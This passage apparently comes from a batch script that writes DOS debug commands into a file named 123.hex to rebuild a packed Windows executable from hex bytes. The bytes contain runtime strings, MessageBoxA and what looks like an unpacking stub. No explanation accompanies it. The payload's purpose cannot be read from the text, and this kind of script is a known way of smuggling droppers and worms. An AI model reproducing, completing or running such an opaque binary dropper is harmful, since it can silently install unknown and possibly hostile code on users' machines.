d3 14 81 cf 0d 04 0d 00 9e 89 0e c7 fe ba 86 6f 06 13 01 22 20 74 08 1e 08 eb d5 02 98 b5 0b 0c 17 24 08 56 c8 80 33 1e 80 3e 88 0f 45 54 46 28 53 dd 40 51 71 e2 55 51 >>123.hex echo e 5900 >>123.hex echo 53 c2 b2 0a 18 64 fc 21 19 8b 00 0c 3b 56 16 0b c7 39 b2 48 f0 21 75 75 21 57 93 2a a6 5a 52 11 d2 1d 00 16 76 50 bb 13 0c ab 0b 66 75 c7 1a 90 0a 0c 08 88 05 57 81 d0 0d 00 b6 f3 24 82 80 cb 2d 70 5b b5 64 fe 8b 88 0d 3f ae 13 56 75 25 1b 93 8a c8 aa 74 5b a0 05 48 99 48 3c 17 04 57 c0 c2 16 3d 28 5a af b1 f6 07 55 a0 34 99 24 2c 02 0a a8 05 1c d4 9c 7b 0c ff 71 90 88 1e cc 2c b5 >>123.hex echo e 5980 >>123.hex echo 75 1f 10 ef e1 a1 5f 03 83 77 7c 1b 28 03 c3 7e 24 0b c5 a8 3b 65 40 75 5c 64 50 56 95 3c 43 c0 ef 17 ea 75 2a 28 30 1a 75 23 55 33 93 cc 01 4b 76 42 1a 14 41 eb 05 89 7a 05 40 b2 75 19 2a 85 25 96 74 16 b5 b8 75 f1 ae 08 80 0b 79 0f 04 e9 01 41 a9 ba 03 80 c9 7d 35 09 bc 93 c1 89 35 af 65 16 3a c7 6d 08 27 1a 2f 9f d0 03 3a 94 11 b0 69 41 e1 a1 93 c4 90 0c d9 01 0f 02 03 30 10 a1 >>123.hex echo e 5a00 >>123.hex echo 90 df 4b b1 ff 50 70 83 ef 75 1e da f8 41 0f 8c dd 3e a0 7f 15 db 5a 0f 8f d4 91 20 f8 71 1b 0b b6 5c 1d 81 fb 85 7d 2c 70 c8 c9 a8 b1 01 53 0b 21 28 fd 50 fc 8a 04 58 c1 33 a8 d9 46 40 47 c3 37 09 2e 51 bc 62 4a f8 08 4a 9c 45 2d 04 04 4a 4d 10 86 45 35 34 f8 11 7c 12 4d 1c 58 54 e7 65 0f 11 4d 03 43 30 56 c8 ea ac 52 46 2c 06 c0 8f 74 95 4c 73 68 23 c0 15 35 fb cf c1 de 66 ef 25 >>123.hex echo e 5a80 >>123.hex echo 63 7b 0d 05 8b 4c 11 0d 0b 96 04 ab 11 8a 5f df 18 1f 03 03 68 62 68 10 36 78 f0 74 70 0e a3 58 af 38 47 3c 4a 0f c9 b0 ee bb a0 0b 82 0e 06 fe 96 d6 1a a1 65 c3 b9 11 9f 51 f7 2d 8d 5d fc 10 00 b4 72 c6 e9 0b 2d 04 0a 6e 7f ec 85 01 17 73 ec 2b c8 8b c4 0c 8b e1 88 5b 14 d8 46 40 50 22 b8 04 cc a2 41 04 da ce 29 00 dc 6d 00 03 0c 11 55 33 ed b0 d8 4e 8d 5b 3e c7 c6 cb 2e 62 a3 b0 >>123.hex echo e 5b00 >>123.hex echo 90 3e ca e8 f2 22 f1 38 e3 06 9e 01 55 53 f1 f8 7d e9 d6 82 1a 9c 10 1a 11 01 0d be b6 80 f1 55 53 96 14 fc f9 8c d4 10 dd 15 47 5f 8b f1 2b c7 8e 17 0e 5e 1d 08 b9 c7 ed a0 2b ea 07 0a 58 f3 ab 53 0f 68 fc be 0f f8 81 fe b7 b8 04 7d 02 a5 7b 54 ef a3 d3 50 1f 81 ff c0 23 fd 17 49 7e 18 eb d5 83 69 05 75 0a b3 a5 20 59 b9 49 57 4c eb 00 7a 05 ef de 57 93 7f 38 56 25 29 81 c4 01 c3 >>123.hex echo e 5b80 >>123.hex echo 7d 3f 6a 75 49 31 d9 00 51 1a 53 fc f4 b2 a7 ed 5f ee f7 dd 1b ed 03 4d d2 15 5f a4 b0 77 d6 80 a3 77 59 01 60 20 00 f4 ea 18 84 22 16 17 ef 00 d4 61 c8 7d 75 1d f0 47 a5 4d 49 62 9c 80 58 13 fb 6a b0 33 4e 28 ec 07 a0 25 1e 49 00 07 64 88 15 f8 06 00 ef 2c ea c3 01 72 a3 56 94 29 1a 4c 61 1a 17 bc 53 ac 14 0f b9 6e a8 70 2d 05 9c 2a de 04 16 55 11 91 80 08 b1 c3 08 42 d1 36 f5 18 >>123.hex echo e 5c00 >>123.hex echo 51 2d cf 45 70 18 0b 38 d2 b9 c0 4f 00 23 dd 20 d9 ed 75 0c c0 56 a8 22 5c 97 54 e9 34 0b 78 42 27 09 55 3c 42 44 83 52 64 53 c8 b0 80 41 3c 14 3f 52 79 16 17 51 30 40 39 2f bc 83 66 5f 30 32 bd ef 65 10 a2 d9 49 d1 92 51 db f5 e3 07 91 f4 69 f7 c5 2d 74 49 e2 46 9c 14 f3 24 d0 8f b7 a1 1b 1b 2b 47 24 bb 52 35 50 11 2f 06 e1 2e 9b 1b ae e1 2c 20 18 51 40 83 5d 42 f1 96 a0 0c 36 51 >>123.hex echo e 5c80 >>123.hex echo 1c 20 15 38 14 d0 54 6a 1c 45 a0 cd e0 84 4a 74 54 b5 09 d1 0b d8 8a d0 22 3e 80 07 18 2b c2 f8 51 dd 52 86 bd 01 c1 b4 b0 28 eb 8b 21 f6 85 95 fd 94 30 50 23 54 65 ff ff ff 9a 8a 86 8c 0c 44 50 a8 aa b2 4b e5 00 00 d8 0c 05 c8 ff e1 4c 6f 24 d8 20 2c 4c d8 06 02 fb 6d 23 47 71 d1 03 07 06 02 10 04 45 00 fe ff f7 67 05 35 30 00 50 20 20 28 38 50 58 07 08 00 37 30 30 57 50 07 f7 e6 >>123.hex echo e 5d00 >>123.hex echo fe ed 0f 20 08 16 08 60 68 60 00 08 70 70 78 00 9f eb 6e 5d 08 21 00 1d 08 08 06 08 01 0e 00 ac bb 50 a3 28 b0 6a 00 6c 01 29 6b bb ed 65 7f 28 6e 75 6c 6c 29 87 dc 68 83 f0 03 72 75 bf ed e8 ff 6e 74 69 6d 65 20 65 72 72 6f 72 9f 0d 0a 03 54 4c 4f 53 53 60 6f f4 66 11 0e 03 49 4e 47 0e ed 2f 6b 3f 00 44 4f 4d 41 12 11 52 36 30 32 38 08 7d fb cb db 2d 20 4b 61 62 6c 74 6f 20 69 6e >>123.hex echo e 5d80 >>123.hex echo 69 56 61 6c 69 7a f6 f3 cd be 0d 68 65 61 70 37 27 37 6e 6f 74 3d 6e fb 42 b7 04 75 67 d8 73 70 61 63 23 66 7b cb 6e 03 f6 6c 6f 77 69 38 61 06 6f 6e 37 06 92 a7 90 36 73 74 64 35 ad b5 df 7e 70 75 72 2b 76 69 72 74 75 21 33 a5 ec 8b 6d bf 63 23 20 63 0c 6c 28 27 34 5f af 6d b7 29 5f 2a 65 78 5c 2f 58 06 0b 3b d9 6b dc e2 5f 31 39 f7 b6 ed 6e ee 6f 70 65 58 31 73 6f 0f 64 65 73 63 >>123.hex echo e 5e00 >>123.hex echo 2b b7 d6 26 03 38 46 24 81 65 64 f2 0d 84 08 19 57 23 37 b6 dd 0a 43 6d b6 ac 74 68 bf 61 0b 42 18 d9 85 21 63 6b 2f 17 35 b7 0d b6 34 64 b7 61 2e 02 ed 5b c3 ad a2 21 72 6d 00 70 40 67 72 61 6d 20 f6 42 28 6c 4a 6d 36 2f 30 39 4f 46 33 b4 14 10 41 2a 2b 29 e4 73 8d 30 2e 2b 38 57 18 c2 f7 61 72 67 75 28 73 5f 60 2b d8 b6 ed da 66 c1 6e 6e 67 82 6f 05 74 3a 2b 9c 2d b8 11 26 64 7f >>123.hex echo e 5e80 >>123.hex echo 4d 2d 60 fc c3 db 42 39 66 15 56 69 73 aa 43 2b 2b 20 52 8f ef f6 60 a0 4c 69 62 b4 72 79 27 0a 73 67 db c3 60 16 45 0e 21 11 50 d4 3a 36 ec d6 00 62 2e 00 00 3c e5 e0 85 f4 b6 b9 25 2c 6b 6c 77 6e 3e 8f fb b7 6f db 53 16 4d d0 54 75 65 57 81 54 68 75 46 72 69 53 9e b7 b6 fd 5d 17 4a 61 6e 46 65 62 4d 6d 41 44 05 79 4a 5f f8 76 6b 26 02 6c 41 e1 53 65 70 4f 94 4e 6f 76 44 1b bf fd >>123.hex echo e 5f00 >>123.hex echo 0a 9b 3f 54 5a 03 47 65 74 4c 61 82 41 59 ec c2 1d 52 76 65 50 fe 75 70 13 0f f4 7f 6b db 57 e5 64 76 d7 65 73 73 61 67 65 42 6f 78 41 15 34 be b0 93 73 75 33 32 2e 64 7a 2a a9 a5 4b 2b 4f 4e 46 24 df 11 80 ad 80 00 bb 3b e4 07 30 41 40 00 f0 0b 70 a3 40 23 03 b6 fa 29 57 61 69 74 46 dd 4d 02 18 b0 01 bf 70 6c 65 4f 62 6a 13 73 01 d8 ca 77 ab e8 25 73 23 46 19 64 b6 5a 80 0e 7a 63 >>123.hex echo e 5f80 >>123.hex echo ee 74 ea 52 57 b7 7a 01 f4 53 68 65 5f 20 73 76 c1 18 e0 00 e7 08 2c db cb 66 27 e2 3d 38 37 65 78 55 75 cc ae ec 75 38 73 34 4f 73 4b 0a db b6 12 64 49 70 86 65 47 01 ac 1d 59 2f 6f 54 30 b3 09 0b 61 77 24 53 b8 0b ee d8 64 c9 54 c0 46 6e 32 10 74 75 c0 3b b2 65 ca 00 16 41 01 09 2e 34 d7 0b 3f 03 15 1d 6f 70 e3 17 da db ed 60 0b 27 20 3d 71 75 69 04 39 61 6e 77 64 87 01 99 0a 27 >>123.hex echo e 6000 >>123.hex echo 63 29 d9 ad bc b5 b4 25 6e 27 74 74 6f 77 2e 05 c8 09 1b 2f 2d 2d 0d db 82 85 35 76 95 64 37 85 c2 b0 ad 36 b3 63 7b 09 0a b0 60 09 ec 67 61 6c 1b 13 ba be fd 92 0d 28 27 75 6e 1d 63 6f 67 6e c2 2e 6c 21 69 64 cc 0a 1f 3b 10 92 bc 2d 2d 27 69 66 d0 de 42 bb 6d 62 69 65 ba 73 87 26 31 fe ff 12 ab 4f 53 49 58 4c 59 5f 43 4f 52 52 45 43 54 97 70 f7 ff b9 ff 00 07 28 55 4e 4b 4e 4f 57 >>123.hex echo e 6080 >>123.hex echo 4e 29 0b 74 63 70 9b 70 6b 55 b2 03 04 00 87 00 86 7b c3 f7 20 73 ad 25 af 72 63 76 64 08 fb 40 f5 ff 1f 31 32 33 34 35 36 37 38 39 61 62 63 64 65 66 2d 68 93 c0 6d a1 32 e3 ec 6f 6f c2 65 74 e0 2b 5f 5f 44 41 54 41 20 00 6d ec bb 17 0f 87 4f 56 45 52 59 0f 54 07 bb 9d 39 e2 5f 41 47 8e 1f 48 af 54 5f 24 d9 df b6 5b 03 46 4f 9d 44 0f 44 49 53 43 4f 4e 3e b7 dd b6 2e 3f 54 2b 49 03 >>123.hex echo e 6100 >>123.hex echo 41 4c 18 45 1f bb b5 ca 39 48 12 ab e8 52 54 10 cd 6e ee 46 7b 59 53 0f 62 41 44 5f 6b 6d d9 b6 09 4d 0e 45 3f 5d 39 0e 06 ac dd 25 0f 44 51 55 1f 0f 55 6c fb 80 dd 55 52 53 0f 50 52 4f 43 6a 4d 7f f6 86 bd 0d 51 50 54 59 0f af a8 1b f6 64 bb 6f 43 48 0f 44 4f 57 ce 2f bd c5 b6 7f 41 4d 45 54 4f 4f 4c c3 47 0f 08 4f 50 20 30 de 88 80 5f 6b 6e 65 63 2b 5a 33 b4 60 66 5d 64 dd 33 6e >>123.hex echo e 6180 >>123.hex echo ef 86 dd 43 55 54 23 3f 4d 41 4e 59 64 46 53 0d 6d 61 cf c3 48 55 63 93 23 4e 8f 05 ec 64 53 49 53 0e 1f 42 55 46 d8 d6 de b2 53 0f 1d 4c e8 54 0f d6 66 11 0e 41 42 3f 2f 19 1e 36 5b 36 5b 0f e2 0f 7e e1 c3 82 5b 0f 6b 44 84 41 56 c6 87 bd 30 6c 4c 0f a4 55 53 45 1f 46 b2 09 41 68 1d a1 53 0f 21 04 a1 10 11 c2 a3 10 21 d9 85 72 4b 54 22 83 5b ac 05 ac 02 0f 0a 11 05 54 61 0b 2d 09 >>123.hex echo e 6200 >>123.hex echo a3 0d 92 50 6f 6d 4b b8 f1 4d 53 47 f4 5a 45 e3 cc 54 b2 37 84 ed 93 c2 51 2f 62 bf 74 27 24 e3 4c 2f 3f 4e 51 47 b0 2f 9c 35 02 53 0f 57 8b 4c 44 42 4c 32 ad 25 8c 5d 5f 46 49 43 2f f9 c0 b8 10 b0 4c 0f 28 43 45 43 dd 0e 8c f6 46 41 3f 63 42 6c 46 20 69 60 85 84 3f 6f 0f bb d3 d7 ef c1 1f 07 48 6d 9b 63 7c 7c db 45 60 20 66 7a 13 44 4e 5d 66 77 64 2f b7 d4 4a 6f 30 76 20 6d f4 21 >>123.hex echo e 6280 >>123.hex echo bc 68 2f 5b 1b 4c e0 20 21 51 77 72 2f 6e 2b da 52 b4 67 12 ca 77 0b a8 11 ec 4d 71 6f 73 a9 6f 6b 75 70 45 95 4c bf 4e e5 3f 68 5f aa b9 35 5a b0 22 dc ef 10 85 92 2d 2c 80 32 2b 63 b0 14 b6 c2 30 63 96 7d e0 85 ad 2b 43 61 9b 70 61 d0 18 81 ee 5e dd 61 45 49 25 d7 da 0c 6c 4b 64 52 e8 67 68 42 98 a1 ed da 70 41 3f 75 78 55 1d 9b 84 02 7f 4b 19 72 74 2d 62 79 6e 76 27 15 ee 70 98 >>123.hex echo e 6300 >>123.hex echo 2c 49 27 27 96 0a 74 cf bb 22 92 62 62 7b 20 b2 97 81 06 ea 75 ab f1 1f 60 37 50 17 91 62 be 3f 21 00 5f c4 56 60 2b ec 75 19 9b 72 dc 06 19 c8 2a 15 46 76 c6 19 88 c4 83 4b b7 90 0b 98 68 ad 74 73 1b 44 96 6e 5b 31 ac 6b 4a 25 00 d7 dd 62 dc ad ed 0e 1e 8f 77 69 2b 5f 69 6e 73 c0 6c f7 de c3 74 72 79 4c 6d 61 6c 1f 73 b5 b6 eb 47 25 74 66 29 1e 22 ff 02 07 1b c6 0d 4b 65 74 79 f6 >>123.hex echo e 6380 >>123.hex echo 44 b2 0e 00 00 53 a4 5b 40 2e 76 d8 da 5d 2a a0 6d 40 0c 4e 58 c0 1a 06 d3 7b 2a 19 58 68 47 00 ff 60 2d fe 17 ec 40 ef 62 61 8e 7b 21 0a 9b 33 d0 20 ac 00 86 79 2f f6 77 28 d1 ef dd 19 fd 5b 00 00 c2 d9 b0 01 6c 38 00 1b 31 1b 76 97 84 bc 00 55 44 50 15 9b 0f 4e dc 5a 12 89 2d 70 38 9b d0 95 e8 68 13 2e 66 4d 05 77 cb 58 18 b6 49 74 4d 92 20 32 fe 84 0b f6 00 6f 66 64 1d 14 8b 38 >>123.hex echo e 6400 >>123.hex echo 2e 38 78 2f 6a 68 98 53 22 7c 74 33 ee 24 1a 84 65 70 6e ee 66 42 d6 0c 8d 06 ff 44 ab c4 12 db 83 8b 85 cb 70 f9 87 69 70 00 42 d7 16 0c 76 1c 69 ba 16 00 79 0e 6d b2 c3 6c 56 ad 50 05 1e 68 72 37 d1 68 6f 20 50 6f 5f 09 3a c2 00 89 c9 3e 00 3e 5b 62 23 db 5e 20 28 07 29 0f 91 e1 6e 8c 11 ef 6f bd 5b 1a 74 6f 20 d1 89 0c 83 2d 1b 64 0b fb 09 2f 21 36 0f ca 00 00 df b1 18 5f 2f 40 >>123.hex echo e 6480 >>123.hex echo 10 63 23 eb 45 ba 35 42 70 6e 4e 2d 68 9d 0b a5 65 0d 9d 70 2f 94 16 2d 86 4d e8 44 95 97 17 d8 b2 61 13 ab 4d 17 f0 4e 42 c0 ba 0a 20 33 47 2d 67 8b 5c c2 9a df 70 47 0f 39 da 70 84 16 35 16 6d 75 ca 62 65 bd c5 69 84 23 70 34 4a 34 20 3c f1 c5 0d 2f 9c 32 38 00 a7 2d 41 2d fb 72 d2 f6 58 c2 04 f1 59 63 f5 3a 75 6f 78 7b e9 47 3a 50 3a 6c 4c f4 3a 70 3a 6e 74 75 76 77 93 3b 69 e1 >>123.hex echo e 6500 >>123.hex echo 3a 7a 00 f3 6f 5b 6d af 70 9a 29 e6 22 48 b1 fc 62 da a6 d7 d0 27 f9 6e 6b 64 69 76 8b b0 95 9c 8b 9d ff 82 34 65 a3 d2 e6 d8 b2 6d 2d b0 1a 63 fe b8 fb f1 dd 56 ce 5d 47 09 2d 75 09 09 8c 6d 6f 75 d5 72 95 6d 0a 0d 76 e7 26 9b 1a cd d4 8a 5b 82 f2 42 f9 74 6f ba c1 3a 62 bf 0e 20 1d 5d 2b 77 42 30 da 86 38 63 73 30 37 69 18 78 05 21 a0 c2 18 ee a9 47 33 ba 7f 5a 18 73 32 b1 d8 3b >>123.hex echo e 6580 >>123.hex echo b6 7a 2d 7a 47 2d 49 2f 4f 71 64 ba 27 77 02 41 73 b9 54 5d 93 74 b1 84 e1 d6 26 0c 73 77 3f ab 4c b4 60 bc 33 86 43 67 6f 74 69 07 1f 59 17 4c 2d 73 67 c3 c7 79 09 9a 70 24 61 c8 2d 7a 50 d9 43 f7 5d 78 75 70 b9 38 77 47 1f 09 2d 6d 0b 41 18 a4 17 34 2b 38 5c 77 5a a8 02 ee 2c e6 2e 68 d4 60 dd 5b bd d5 2b 75 66 74 0f 69 e9 ab 96 d1 b6 b0 6c 73 0f 0e 63 8c 51 c3 84 73 41 2c 3a 73 >>123.hex echo e 6600 >>123.hex echo 90 5a d7 66 c8 d4 36 6c 31 e3 ba d0 62 5f eb 2c 2f 2e 3e 75 6e c1 64 0f c9 94 14 4c 26 68 0d d6 4c cd 2e 5a 48 a3 11 6f 3a 43 21 19 6a b4 76 2d 6e b8 2d 34 57 cb 25 97 2d 1c 6c 79 89 d3 16 30 28 02 2c ec 36 5a a3 d0 9c 26 07 7d 6a 2b 7a dc 68 35 fa 16 06 6d 70 74 e3 58 b7 5d ea 61 66 15 63 1d 70 ab 09 09 f2 d1 ba 19 01 40 1b 72 16 99 01 d8 ca 2f 32 6d 15 20 6e 76 6b 87 cc 61 c4 74 >>123.hex echo e 6680 >>123.hex echo 65 e3 25 04 83 61 b1 73 75 41 21 a3 dc 61 18 b1 a3 2a da 86 54 c3 5a 20 f0 ce eb b1 10 01 52 f9 64 94 53 70 f0 f0 f0 21 21 f3 64 5e 74 46 43 9b 55 13 9c 9c d1 06 4b ff 19 37 60 74 68 a0 00 5b 76 31 2e 31 30 28 54 a1 05 04 1a 80 fe 29 10 aa 2b 6c 6d 77 e9 7b 3a 1b 59 2d 08 9c 70 cd 2d 53 37 91 7c 18 3b ac 64 5b bf 5d e7 20 0a 88 2d 61 08 96 96 3f 26 6b 41 58 7b 20 20 2e 49 5b 83 b5 >>123.hex echo e 6700 >>123.hex echo 60 c3 4a 43 7f 1a 3a 4b 82 df fb 00 40 02 41 00 00 07 01 01 18 c0 6a 4a 82 10 4f 02 77 b0 60 07 58 00 02 03 00 1f 19 83 08 4f 80 44 40 a4 00 02 c6 00 01 7f c4 ba c1 06 1b e8 03 ff 00 f0 1b f1 05 22 08 89 0c 4a 46 55 95 00 55 25 a3 aa 21 a2 90 51 3a 20 72 01 1b c7 7c 04 b9 85 02 51 6c 03 07 f6 a5 e2 37 94 20 05 93 19 27 22 c9 94 b9 d8 f2 40 03 19 01 28 91 3c 00 32 20 48 00 10 bb b0 >>123.hex echo e 6780 >>123.hex echo 00 32 84 21 81 01 60 21 90 01 01 3f 42 20 03 76 82 01 02 01 00 8c c3 3b 20 33 53 01 c1 ba 01 03 2e 07 49 32 48 37 58 0b 17 1d 0b 04 96 20 83 34 03 8d 08 8e 32 20 03 32 8f 90 91 03 32 20 03 92 93 03 b1 5f d3 74 03 07 0a 8c 8b 02 04 1a 9e 1d ec bb a4 18 60 82 79 82 21 27 a6 df 07 a1 a5 dd c8 cf 4f 81 9f e0 fc 40 7e 80 a8 2f c1 72 f6 08 e1 a3 da a3 d7 81 fe 07 40 83 0d 81 0d b5 2f 41 >>123.hex echo e 6800 >>123.hex echo 07 b6 5e 61 ff 77 2f cf a2 e4 a2 1a 00 e5 a2 e8 a2 5b 5f 7e a1 f6 db 1b c6 09 51 50 51 da 5e da 5f 5f da 6a da 32 2f ee ec f6 57 d3 d8 de e0 f9 07 31 7e 39 02 03 4d 37 42 d4 f8 b2 ae cc 07 09 a0 35 4d d3 34 0a 7c 10 50 11 4e cb a6 3b b9 07 12 fc b1 13 fb 69 9a a6 e9 07 18 98 19 70 1a 57 d7 bd a6 38 1b 5c 07 1c 06 d8 17 43 d3 34 5d 78 07 c8 79 b8 7a 3b a6 7b 3d b8 07 44 a4 37 07 94 >>123.hex echo e 6880 >>123.hex echo 3b 30 16 d8 70 90 03 3b 16 b7 3d 5e 10 06 02 c7 07 2b 20 34 4d f7 8b 05 03 0d 06 09 e3 36 c8 60 dd 0c 03 08 07 09 0a 1b 2f d8 80 0c 0b 16 3b 07 d8 17 6c b0 0f 57 10 13 ff 12 03 19 6c 90 2f 17 21 35 0f 41 6c b0 41 06 43 50 33 52 17 b0 c1 06 1b 53 07 57 5f 59 7b 0c 11 18 6c 6c 17 6d 19 43 06 1b ac e9 03 1c 72 ab 06 2f 80 19 6c b0 c1 b3 81 07 82 1f 83 08 1c c1 06 84 47 fb 6c b0 c1 9e >>123.hex echo e 6900 >>123.hex echo 0d 9e 0f a1 8f a4 6f b0 c1 06 1b a7 17 b7 9f ce 1f 84 27 1c 64 d7 18 07 0b 80 70 6b 25 3d 02 f5 f0 f1 07 50 53 54 f3 c7 8b b2 13 50 44 3f d8 f7 6b 58 c0 82 41 f8 5f 00 0f 4d d3 75 07 1e 07 3b 03 5a 78 97 75 af e9 4e 77 03 d4 f3 f7 d8 30 10 2e 6c d3 03 4e 6d 01 37 3a 9b 47 d3 3d 6b 77 83 00 b4 03 d3 f2 0b 18 ac e9 ba 2b 2f 03 4d 6c 37 1c 89 da 78 68 4d 0d 91 a6 09 2f 99 9b 5b 62 a1 >>123.hex echo e 6980 >>123.hex echo 95 6a 47 11 47 01 42 97 6e bb e5 b6 48 09 48 01 c0 98 49 09 49 01 bb ed dd f6 86 00 99 4b 09 4b 01 73 00 9b 4d 09 4d 01 74 00 b8 1b 77 db 9d 4f 09 4f 01 75 00 9f 37 e0 50 01 46 a1 db 2e c6 a0 51 09 51 01 76 c2 43 b9 1b 5b ee e0 52 01 ca a2 45 e0 53 01 16 62 87 6d c8 a3 ef 1b 01 aa 31 7f 5a 6a 31 91 ee f1 40 14 79 33 00 23 fe db be 7f 0f 7a 34 00 24 07 7b 9d 25 07 7c 36 00 5e 00 cf >>123.hex echo e 6a00 >>123.hex echo bf 7f ef e7 7d 37 00 26 0f 7e 38 00 2a 07 7f 39 00 28 80 b8 75 84 82 30 4b 81 2d 3f 00 1f ba 35 3d ef 66 3d 00 2b 00 08 25 7f 07 0e 09 46 fb 78 7b 1a 94 03 71 00 51 3f 10 e4 d1 e4 f8 74 c3 17 52 65 00 45 7b 12 72 f1 0c b7 85 d6 23 13 d4 ef 14 07 14 79 4d 71 47 db ba 1b 15 da 55 04 aa 69 00 49 b5 cf 9f fe b7 17 6f 00 4f 63 18 70 00 50 19 5b a2 83 f0 41 fb c7 1a 5d 9a 07 1b 55 1c d3 >>123.hex echo e 6a80 >>123.hex echo 06 d3 61 e7 61 61 72 1e 73 49 9f fe f4 2e 7b 1f 64 00 44 f3 20 66 00 46 23 21 67 fe fd f9 d3 00 47 cf 22 68 00 48 23 6a 00 4a 3f 24 6b 00 4b 08 3f 96 3e d7 25 67 4c d7 26 3b e1 48 0b bf f6 00 27 27 2a 07 28 60 02 00 32 c7 58 61 2c 00 5c 22 74 7a 3d d3 af 8d 2e cb 2c 3f 58 57 2d 63 d9 f4 a7 85 2e 6b 2e 8e 56 6f 2f 62 00 42 64 a0 d0 f8 37 30 6e 45 14 4e 36 f8 fe b4 bf 4d 57 32 2c 00 >>123.hex echo e 6b00 >>123.hex echo 3c 46 33 df 3e c6 66 c5 f8 07 34 13 26 00 2a c3 62 58 90 db 00 d5 e8 1a b6 64 00 a0 54 a2 68 46 55 e8 36 b7 60 82 2e 3d 70 a4 6a 4e 57 c3 d6 9a 6b 04 6b 4e 90 7c ce 40 58 b8 05 b7 35 94 76 41 a8 0c 6e 8e 16 9a 5b 28 42 84 6f a6 c2 14 70 4a 5a 28 18 1e 4a 14 71 48 7a 24 9e 71 47 37 dc 48 38 58 00 49 39 b0 1b 67 cf 3c 00 2d 1f 4b 31 00 73 b2 71 f6 dd 18 4d 31 00 74 08 2b 0f 4f 37 ce >>123.hex echo e 6b80 >>123.hex echo 7a ba 69 00 75 d0 32 6c 51 69 00 76 62 21 12 5f e8 30 6c 9e 2e e9 7f 84 45 68 00 e0 85 e0 87 e0 89 e0 8b 09 80 60 4f 7f e0 88 e0 8a e0 8c 77 fe 03 65 29 88 c0 f5 00 aa 92 51 55 54 55 c9 a8 32 aa aa 64 28 19 55 55 89 ea ae 08 60 03 a0 60 ab aa 01 75 01 45 b0 b0 04 bd 21 68 63 d2 01 44 69 73 a8 0b 41 27 71 4e 05 64 50 09 00 6c 25 32 14 54 9b 02 0b 2a d9 65 26 0c 45 82 0a 58 29 25 00 >>123.hex echo e 6c00 >>123.hex echo 30 ab aa 10 91 66 01 7b 3b 18 0d 43 72 65 1b 0d eb ce 82 cd 62 0b 5f 41 87 75 56 ec 46 50 77 69 63 12 48 95 6c 65 48 b0 b7 ec 76 43 75 45 65 6e ab b8 4b 9b a0 da ed 53 23 65 70 06 a5 46 69 44 03 b6 7d 2f 50 0f 6b c2 57 87 dd cd 4c 45 19 49 53 74 64 57 46 6c 31 82 6e 3f 65 43 85 0c 56 93 bd 48 00 95 13 0c 41 b5 df 1c 45 b1 0d 4c 43 4d 61 70 37 b7 ad 73 11 f4 9e 53 43 45 3f 4f 66 37 >>123.hex echo e 6c80 >>123.hex echo 6c c0 66 51 1b 57 ca 19 b5 53 d0 d8 41 6c 4e 72 2b 36 fb ed 83 65 49 6e 70 75 3c 76 65 6e 74 73 a5 17 61 ad ed 06 31 48 65 4b c6 75 d9 0c 00 da 6f cf 6b 4c 2c 64 db b3 65 54 79 d3 57 0f 1f 7b 52 d0 c3 1c 41 9f 01 53 e9 24 00 62 09 b3 35 3d 17 7b 3b 56 52 69 61 62 a3 18 ad db ee 26 11 f3 c0 6f 6d 70 1d 65 ec 2c 64 df 25 56 4f 45 4d 43 50 19 80 01 8b dd da 16 b8 66 6f 0a 5d c2 7b 67 >>123.hex echo e 6d00 >>123.hex echo 67 21 73 22 41 3a d6 57 57 d0 60 6f 09 de 43 ed bf 6f 07 04 e1 54 69 3c 5a 6f 6e 65 52 72 6d db b1 18 44 08 e5 79 73 99 6d 73 05 cd 78 1d 51 8d 0d 84 05 d7 25 94 6d 42 26 6e 03 2f 56 22 1a 56 21 39 69 98 30 db da 44 65 3a 94 79 0c 9a 0a 8e a2 ef 26 74 6c 55 6e 77 a2 ff c2 ff 96 88 25 68 fe 42 75 66 66 65 72 35 17 6b db 6c 92 58 75 c9 51 1f 46 21 08 87 63 72 02 18 74 db ee de 70 a3 >>123.hex echo e 6d80 >>123.hex echo 6f 57 69 64 28 68 11 54 6f 08 21 18 8f 0c 42 79 74 54 0d 63 5b 5b d9 17 16 8c 68 71 64 04 f7 36 1a d2 da 70 f6 71 8b 1f 31 da 5d 30 4d 6f 64 59 4f cf 41 2d 99 1b 61 5d 18 81 8c d2 b1 aa 61 96 af 9c 12 e7 65 59 96 ed ff 97 02 06 12 0d 70 01 c1 d6 95 11 14 02 02 17 65 59 96 ad 76 02 38 04 09 0a 96 65 59 96 0f 37 33 34 0b 74 5a 96 65 59 6f 73 03 10 13 db 8d 80 ce 3f 50 25 4c 01 33 b9 >>123.hex echo e 6e00 >>123.hex echo 46 f5 0f eb 8e ae 34 53 e0 00 0f 01 0b 01 5d 35 dd 60 dd 98 0c 62 14 4c 03 10 b0 8e 01 70 f6 0c 40 0b 02 07 00 00 06 3b 55 cb 07 e8 0c 03 88 06 d6 c5 05 28 10 07 10 02 bf 10 6a 20 01 00 3c 17 70 85 dd 0e a0 21 57 64 01 1f 2e 06 db 2d 05 79 74 07 70 97 90 98 6c 20 d8 c0 c4 9a 5e 2e 72 5b aa 1c 01 ec 40 04 fb 86 85 1d 06 06 88 27 0d 35 5d f7 d9 40 2e 26 00 44 52 04 c0 03 3e a2 30 7b >>123.hex echo e 6e80 >>123.hex echo f6 94 27 c0 2e 69 28 5c 07 fb fe 56 f6 04 0c e0 27 1b 04 23 01 00 28 51 d4 0b e6 00 00 00 00 00 00 00 24 ff 00 00 00 00 00 00 00 00 00 00 00 00 60 be 15 e0 40 00 8d be eb 2f ff ff 57 83 cd ff eb 10 90 90 90 90 90 90 8a 06 46 88 07 47 01 db 75 07 8b 1e 83 ee fc 11 db 72 ed b8 01 00 00 00 01 db 75 07 8b 1e 83 ee fc 11 db 11 c0 01 db 73 ef 75 09 8b 1e 83 ee fc 11 db 73 e4 31 c9 83 e8 >>123.hex echo e 6f00 >>123.hex echo 03 72 0d c1 e0 08 8a 06 46 83 f0 ff 74 74 89 c5 01 db 75 07 8b 1e 83 ee fc 11 db 11 c9 01 db 75 07 8b 1e 83 ee fc 11 db 11 c9 75 20 41 01 db 75 07 8b 1e 83 ee fc 11 db 11 c9 01 db 73 ef 75 09 8b 1e 83 ee fc 11 db 73 e4 83 c1 02 81 fd 00 f3 ff ff 83 d1 01 8d 14 2f 83 fd fc 76 0f 8a 02 42 88 07 47 49 75 f7 e9 63 ff ff ff 90 8b 02 83 c2 04 89 07 83 c7 04 83 e9 04 77 f1 01 cf e9 4c ff >>123.hex echo e 6f80 >>123.hex echo ff ff 5e 89 f7 b9 53 02 00 00 8a 07 47 2c e8 3c 01 77 f7 80 3f 01 75 f2 8b 07 8a 5f 04 66 c1 e8 08 c1 c0 10 86 c4 29 f8 80 eb e8 01 f0 89 07 83 c7 05 88 d8 e2 